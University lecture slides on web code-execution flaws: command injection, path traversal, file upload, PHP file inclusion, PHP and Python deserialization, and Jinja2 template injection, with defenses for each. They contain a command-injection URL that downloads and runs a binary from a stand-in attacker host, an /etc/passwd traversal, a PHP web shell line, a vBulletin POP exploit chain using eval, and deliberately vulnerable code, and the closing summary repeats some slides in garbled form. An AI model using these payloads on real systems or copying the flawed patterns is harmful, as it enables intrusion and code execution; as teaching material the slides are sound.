CSE 361: Web Security

Code Execution Flaws

Nick Nikiforakis
Recap: Input to a Web server

- Visible form fields
- Hidden form fields
- Any other GET/POST parameters
- Cookies
- Arbitrary HTTP headers
Command Injection
Running OS level commands

• Developers may choose to run OS commands with user input
  • Programming language has no library (e.g., htpasswd generation)
  • Developer can't be bothered to find a better way

```python
import os

def add_user(request, username, password):
    os.system("htpasswd -b .htpasswd %s %s" % (username, password))
    return HttpResponse("user added")
```
OS commands - regular use

• Regular usage: [http://example.org/add_user?username=fry&password=secret](http://example.org/add_user?username=fry&password=secret)
• Result:
  htpasswd -b .htpasswd fry secret

```python
import os
def add_user(request, username, password):
    os.system("htpasswd -b .htpasswd %s %s" % (username, password))
    return HttpResponse("user added")
```
OS commands - malicious use

• Malicious usage
  • http://example.org/add_user?username=fry; wget http://attacker.org/mal; chmod +x mal; ./mal %26 %23&password=secret

• Result
  • htpasswd -b .htpasswd fry; wget http://attacker.org/mal; chmod +x mal; ./mal & #secret

```python
import os

def add_user(request, username, password):
    os.system("htpasswd -b .htpasswd %s %s" % (username, password))
    return HttpResponse("user added")
```
Executing code in bash

- Bash offers several options to execute multiple commands

- `cmd1; cmd2` - chain two commands together
  - regardless of the results of the first command

- `cmd1 && cmd2` - execute second command if first worked

- `cmd1 | cmd2` - pass output of cmd1 to cmd2 (via STDIN)

- `cmd1 $(cmd2)` - execute cmd2 and pass it as parameter to cmd1

- `cmd1 `cmd2` - execute cmd2 and pass it as parameter to cmd1
Stopping command injection

- Problem: command and arguments not properly separated
  - bash parses and expands arguments (e.g., $ operations)
- Solution 1 (Python): separate command and arguments

```python
import os

def add_user(request, username, password):
    os.system("htpasswd -b .htpasswd %s %s" % (username, password))
    return HttpResponse("user added")
```

```python
import subprocess

def add_user(request, username, password):
    subprocess.call(["htpasswd", "-b", ".htpasswd", username, password])
    return HttpResponse("user added")
```
Stopping command injection

- Solution 2 (PHP): escape arguments properly
  - single-quoted strings are not interpreted by bash

```php
string escapeshellarg ( string $arg )
```

`escapeshellarg()` adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input. The shell functions include `exec()`, `system()` and the `backtick` operator.
Path Traversal
What could go wrong here?

```php
<?php
$filename = $_GET['filename'];
return file_get_contents("downloads/" . $filename);
?>
```
What could go wrong here?

- Attacker controls filename parameter
- Directory can be navigated with `../`:
  - `filename=../../../../etc/passwd` (in Linux, going to `../` leads to `/`)

```php
<?php
$filename = $_GET['filename'];
return file_get_contents("downloads/" . $filename);
?>
```
What could go wrong here?

```php
<?php
$uploaded = $_FILES['upfile'];
$destination = sprintf('./uploads/%s', $_FILES['upfile']['name']);
move_uploaded_file($_FILES['upfile']['tmp_name'], $destination);
?>
```
What could go wrong here?

- Attacker controls name of uploaded file
- name=../index.php overwrites index.php

```php
<?php
$uploaded = $_FILES["upfile"];
$destination = sprintf("./uploads/%s", $_FILES["upfile"]['name']);
move_uploaded_file($_FILES["upfile"]['tmp_name'], $destination);
?>
```
Summary: Path Traversal

• Insufficient checking of input for meta characters
  • . and /
• May leak arbitrary files
  • /etc/passwd
  • .htpasswd
• May lead to overwritten files
  • potentially executable files like PHP
Unrestricted File Upload
Uploading arbitrary files

- Consider a service that allows for file upload
  - e.g., profile pictures
- Possible vulnerability if file type/ending is not checked
  - upload PHP file instead of an image -> remote code execution
    - `<?php system($_GET['cmd']); ?>`
- Uploading other types of files may also cause issues
  - HTML (basically XSS by upload)
  - Flash files (inherit origin)
    - Less relevant today since Flash has been officially discontinued
  - "Passive" content: SVG
    - allows for inline JavaScript
JavaScript in SVG

```xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="800px" height="800px" viewBox="0 0 800 800" version="1.1" xmlns="http://www.w3.org/2000/svg"
  xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <script>
      alert(document.domain);
    </script>
  </defs>
  <circle cx="100" cy="100" r="25" fill="#c32e04" />
</svg>
```
Content Sniffing

- Recall Rosetta Flash attack
  - JSONP endpoint was incorrectly interpreted as valid Flash file
- Recall "browser war"
  - browsers are error-tolerant to a fault
- To display content properly, browsers conduct "content sniffing"
  - if no MIME type is available, "sniff" bytes to determine correct type
  - some browsers force content type based on type of inclusion (e.g., applet)
- Famous example: GIFAR Polyglot
GIFAR

• Combination of a GIF and a JAR
  • GIF and JPG carry information on file format in first bytes
  • JAR (really just a ZIP) has "header" at the end of the file
GIFAR Exploitation

```html
<applet archive="http://vuln.com/gifar.jar" code="com.attacker.run">
</applet>
```
Avoiding malicious image files

• Use libraries to convert image
  • e.g., convert from imagemagick
  • removes non-image content
• Clear meta data of images
  • e.g., EXIF tags on JPEGs
• Have separate domain for upload
  • PHP shell case: just CDN data is compromised
  • GIFAR/Polyglot attacks against browser now in useless origin
  • (check your Facebook or Twitter profile pic URL...)

22
File Inclusion
Side-note: PHP Parsing rules

- PHP is a HTML preprocessor
  - mixed HTML and PHP code
- Only code between opening/closing PHP tags is executed
  - `<?php / <?` and `?>`
- Any other bytes are simply output to the client
- Parsing is recursively applied to include files
Modular functionality

• Application code may be split across multiple files
  • e.g., language declaration, commonly used functionality, ...
• PHP has two different types of inclusions
  • include / include_once: includes files, merely warns in case of error
  • require / require_once: includes files, dies if inclusion fails

```php
<?php
// navigation and other fixed content
include($_GET['page']);
?>
```
Including files - regular use

  - includes contact.php from the current directory
- May recursively include other files

```php
<?php
  // navigation and other fixed content
  include($_GET['page']);
?>
```
Including files - malicious use

• Denial of Service: http://example.org/main.php?page=main.php
  • includes itself all over again, possibly exhausting resources
  • PHP typically dies early on (default memory_limit 128M)

• Code Injection:
  • allow_url_include = Off by default in current PHP configurations
  • beware of multiple web spaces on single host/upload feature (Local File Inclusion)

```php
<?php
// navigation and other fixed content
include($_GET["page"]);
?>
```
Including files - reading arbitrary files

- PHP has weird filter URLs
  - e.g., php://filter/convert.base64-encode/resource=index.php
    - reads index.php, then applies base64 encoding
- Recall: only code between <?php and ?> is executed
  - PHP "includes" content as base64, i.e., you can leak arbitrary files

```php
<?php
// navigation and other fixed content
include($_GET['page']);
?>
```
Avoiding file inclusion flaws / path traversal

- Keep list of files allowed for inclusion
  - alternatively: ?page=1, map integer for pre-defined list of files
- Call basename() function on input
  - ensures that no other path can be traversed to
  - Python: os.path.basename()
- Restrict possible directories with open_basedir
  - any paths not within that dir are inaccessible
Quiz
Secure against file injection?

```php
<?php
// upload.example.org only allows for
// file upload, but ensures that MIME type is JPG
// and file ends with .jpg
// allow_url_include = On in config

$parsed = parse_url($_GET['image']);
if ($parsed['host'] == 'upload.example.org') {
    include($_GET['image'] . '.inc');
}
?>
```
Secure against file injection?

- JPG parsing starts at FFD8, ends at FFD9
  - anything behind marker is ignored by viewer
  - may contain arbitrary EXIF comments
- cat file.jpg attack.php > new.jpg

```php
<?php
// upload.example.org only allows for
// file upload, but ensures that MIME type is JPG
// and file ends with .jpg
// allow_url_include = On in config
$parsed = parse_url($_GET["image"]);
if ($parsed["host"] == 'upload.example.org') {
    include($_GET["image"] . '.inc');
}
?>
```
Secure against file injection?

- Upload new.jpg to upload.example.org
  - validates with correct MIME type
  - includes http://upload.example.org/new.jpg?.inc

```php
<?php
// upload.example.org only allows for
// file upload, but ensures that MIME type is JPG
// and file ends with .jpg
// allow_url_include = On in config
$parsed = parse_url($_GET["image"]);
if ($parsed["host"] == 'upload.example.org') {
    include($_GET["image"] . '.inc');
}
?>
```
Deserialization Issues
Exchanging non-string data between entities

• Non-string data may be exchanged between entities through Serialization
  • e.g., objects
• Second party can deserialize
  • e.g., pickle module in python or serialize function in PHP
• `array("a"=>"b")` becomes
  ```plaintext
  a:1:{s:1:"a";s:1:"b";}
  ```
Unserializing an object in PHP

- PHP has magic functions
  - `__destruct()` executed when object is cleaned up
  - `__sleep()` is called right before serialization
  - `__wakeup()` is called after deserialization
- Any object known in current scope may be unserialized
  - objects defined within actual project
  - objects defined in framework (e.g., widely used Zend)
- **Identification purely by name of serialized object**
  - allows for so-called Property Oriented Programming (POP) attacks
Serializing/Unserializing objects in PHP

```php
class SerializeDemo {
    protected $classmember = "foo";
    public function __wakeup() {
        print $this->classmember . "\n";
    }
}

var_export(serialize(new SerializeDemo()));

'O:13:"SerializeDemo":1:{s:14:"0" . 'classmember";s:3:"foo";}'

unserialize('O:13:"SerializeDemo":1:{s:14:"0" . 'classmember":s:3:"bar";}')

bar
```
Serializing/Unserializing objects in PHP

```php
// Server
class SerializeDemo {
    protected $classmember = "foo";
    public function __wakeup() {
        print $this->classmember . "\n";
    }
}

// Attacker
$payload = base64_encode(serialize(new SerializeDemo()));
```

```plaintext
TzoxMzoiU2VyaWFsaXplRGVtMCI6MTp7czoxNDoiACoAY2xhc3NtZW1iZXIiO3M6MT
U6IkF0dGFja2VyaWFsaXplRGVtMCI6MTp7czoxNDoiACoAY2xhc3NtZW1iZXIiO3M6MT
```

```php
// Attacker
```
How can we exploit this to execute `pwd`?

```php
class SerializeExample {
    var $wakeups = array("connect_to_db" => "localhost");

    function connect_to_db($host) {
        // ...
    }

    public function __wakeup() {
        // call all $wakeups
        foreach ($this->wakeups as $function => $arguments) {
            $function($arguments);
        }
    }
}
```

```php
class SerializeExample {
    var $wakeups = array("system" => "pwd");
}

$payload = serialize(new SerializeExample());
```
POP Vulnerability vBulletin 5.x

- Step 1: find vulnerable entry point using unserialize

```php
// core/vb/api/hook.php
public function decodeArguments($arguments) {
    if ($args = @unserialize($arguments)) {
        ....
    }
}
```
POP Vulnerability vBulletin 5.x

- Step 2: find magic functions and possible callees

```php
// core/vb/db/result.php
class vB_dB_Result {
    protected $db = false;
    protected $recordset = false;

    public function __destruct() {
        $this-&gt;free();
    }

    public function free() {
        if (isset($this-&gt;db) AND !empty($this-&gt;recordset))
            $this-&gt;db-&gt;free_result($this-&gt;recordset);
    }
}
```
POP Vulnerability vBulletin 5.x

• Step 3: find attacker-controllable function call

```php
// core/vb/database.php
class vB_Database {
    var $functions = array(
        'free_result' => 'mysql_free_result' );
    function free_result($queryresult) {
        $this->sql = '';
        return @$this->functions['free_result']($queryresult);
    }
}
```

https://github.com/enddo/POP-Exploit
POP Vulnerability vBulletin 5.x

- Step 4: build exploit POP chain

```php
// exploit
class vB_Database {
    var $functions = array();
    public function __construct()
    {
        $this->functions['free_result'] = 'eval';
    }
}

class vB_dB_Result {
    protected $db;
    protected $recordset;
    public function __construct()
    {
        $this->db = new vB_Database();
        $this->recordset = 'echo phpinfo();';
    }
}
serialize(new vB_dB_Result());
```
vB_dB_Result objects can be exploited through the `free()` method invocation because it is called in the `__destruct()` method of the `vB_dB_Result` class. This method is called automatically by PHP when the `vB_dB_Result` object goes out of scope. The `__destruct()` method is defined as follows:

```php
public function __destruct() { $this->free(); }
```

The `free()` method is defined in the `vB_Database` class and calls the `free_result()` method on the `vB_dB_Result` object. This method can be triggered by serializing a `vB_dB_Result` object.

```php
serialize(new vB_dB_Result());
```

This exploit demonstrates how a vulnerability can be introduced into the `vBulletin 5.x` framework by exploiting method invocations in destructors.


### POP Vulnerability vBulletin 5.x

__destruct() calls free_result on $db (vB_Database object)___
free_result actually calls `functions['free_result']` (now overwritten by attacker with `eval`)
Attacker-controlled code is passed to `eval()`
Serialization flaws in Python

• Python ships pickle module
  • `pickle.loads()`, `pickle.dumps()`

• Even more flexible than PHP
  • "supports" invocation of pickled code

```python
import pickle

def index(request):
    userdata = request.COOKIES.get("userdata")
    if userdata:
        actual_userdata = pickle.loads(userdata)
        # do something meaningful with user data here

    response = render_to_response("main.html", {})
    response.set_cookie('userdata', pickle.dumps(actual_userdata))
```
Exploiting pickle.loads()

- Attacker has full control over cookie
  - no signature/crypto used in example
- Requirement: unpickling code
  - easy way: using __reduce__ on custom object
  - "If provided, at pickling time __reduce__() will be called with no arguments, and it must return either a string or a tuple."

```python
import subprocess
import pickle
class foo(Object):
    def __reduce__(self):
        return (subprocess.call, (('/usr/bin/id', )))
attack = pickle.dumps(foo())
```

```python
import pickle
def index(request):
    userdata = request.COOKIES.get("userdata")
    if userdata:
        actual_userdata = pickle.loads(userdata)
        # do something meaningful with user data here
    response = render_to_response("main.html", { })
    response.set_cookie('userdata', pickle.dumps(actual_userdata))
```
pickle — Python object serialization

Source code: Lib/pickle.py

The `pickle` module implements binary protocols for serializing and de-serializing a Python object structure. "Pickling" is the process whereby a Python object hierarchy is converted into a byte stream, and "unpickling" is the inverse operation, whereby a byte stream (from a binary file or bytes-like object) is converted back into an object hierarchy. Pickling (and unpickling) is alternatively known as "serialization", "marshalling," [1] or "flattening"; however, to avoid confusion, the terms used here are “pickling” and “unpickling”.

Warning: The `pickle` module is not secure. Only unpickle data you trust.

It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.

Consider signing data with `hmac` if you need to ensure that it has not been tampered with.

Safer serialization formats such as `json` may be more appropriate if you are processing untrusted data. See Comparison with `json`.
Avoiding serialization vulnerabilities

• Avoid serialization of whole objects
  • e.g., use JSON instead, restore data selectively

• If really needed, sign attacker-controllable data

```python
import pickle
import hmac

def index(request):
    userdata = request.COOKIES.get("userdata")
    userdata_sign = request.COOKIES.get("userdata_sign")
    if userdata:
        hmac_inst = hmac.new(SETTINGS.SECRET_KEY)
        hmac_inst.update(userdata)
        if hmac.compare_digest(hmac_inst.hexdigest(), userdata_sign):
            actual_userdata = pickle.loads(userdata)
            # do something meaningful with user data here

    response = render_to_response("main.html", {})  
    serialized = pickle.dumps(actual_userdata)
    response.set_cookie('userdata', serialized)
    hmac_inst = hmac.new(SETTINGS.SECRET_KEY)
    hmac_inst.update(userdata)
    response.set_cookie('userdata_sign', hmac_inst.hexdigest())
```
Template Injection
Usage of templating systems

• PHP initially designed to intermix HTML with PHP code
  • horrible to read sometimes
• Better solution: separate view and controlling code
  • build templates with placeholders for computed results
  • underlying concept of MVC frameworks
• All major programming languages feature template systems
  • PHP: Twig, Smarty, ... 
  • Python: Django, Jinja2, ...
Templates in Jinja2

- `{% extends "base.html" %}`
- `<title>{% block title %}{% endblock %}</title>`
- `<ul>{% for user in users %}<li><a href="{{ user.url }}">{{ user.username | striptags }}</a></li>{% endfor %}</ul>`

- Extends other template
- Blocks may be changed by child templates
- Regular loops just in Python
- `{{var}}` evaluates var and inserts into document
- `var.property` accesses property
- Optional filters may be applied to output
Exploiting Jinja2 templates

- Template is partially under control of attacker
- Jinja2 allows for calls of methods
  - e.g., {{'bla'.upper()}}

```python
def handle404(request):
    template = "<html><title>404</title><body>Sorry, the site %s was not found on this server.</body></html>"'
    template = template % urllib.unquote(request.get_full_path())
    t = Template(template)
    return HttpResponse(t.render(request=request))
```

Sorry, the site /blasdasd?BLA was not found on this server.
Avoiding Server-Side Template Injection

Don't allow unsanitized user-provided input in the generation of your templates!
Summary

OS commands - malicious use

- Malicious usage
  - `http://example.org/add_user?username=fry, wget http://attacker.org/mail: chmod +x mail: /mail %26 %23&password=secret`
- Result
  - `htpasswd -b .htpasswd fry, wget http://attacker.org/mail: chmod +x mail: ./mail & #secret`

```python
import os

def htpasswd(request, username, password):
    os.system("htpasswd -b .htpasswd %s %s" % (username, password))
    return HttpResponse("user added")
```

What could go wrong here?

- Attacker controls name of uploaded file
- `name=../index.php` overwrites `index.php`

```php
<?php
    $uploaded = $_FILES["upfile"];
    $destination = sprintf("./uploads/%s", $_FILES["upfile"]['name']);
    move_uploaded_file($_FILES["upfile"]['tmp_name'], $destination);
?>
```

GIFAR

- Combination of a GIF and a JAR
  - GIF and JPG carry information on file format in first bytes
  - JAR (really just a ZIP) has "header" at the end of the file

```
import zipfile

def jarfile(request):
    for chunk in open("jarfile.zip"): html += chunk
    return HttpResponse(html)
```

Exploiting Jinja2 templates

- Template is partially under control of attacker
- Jinja2 allows for calls of methods
  - `e.g. {{'bla'.upper()}}`

```html
<!DOCTYPE html>
<html>
  <head>
    <title>Error 404</title>
  </head>
  <body>
    Sorry, the site %s was not found on this server.
  </body>
</html>
```

```
def handle404(request):
    template = "<html><title>404</title><body>Sorry, the site %s was not found on this server.</body></html>"
    template = template % urllib.quote(request.get_full_path())
    t = Template(template)
    return HttpResponse(t.render(request=request))
```
Credits

• Original slide deck by Ben Stock
• Modified by Nick Nikiforakis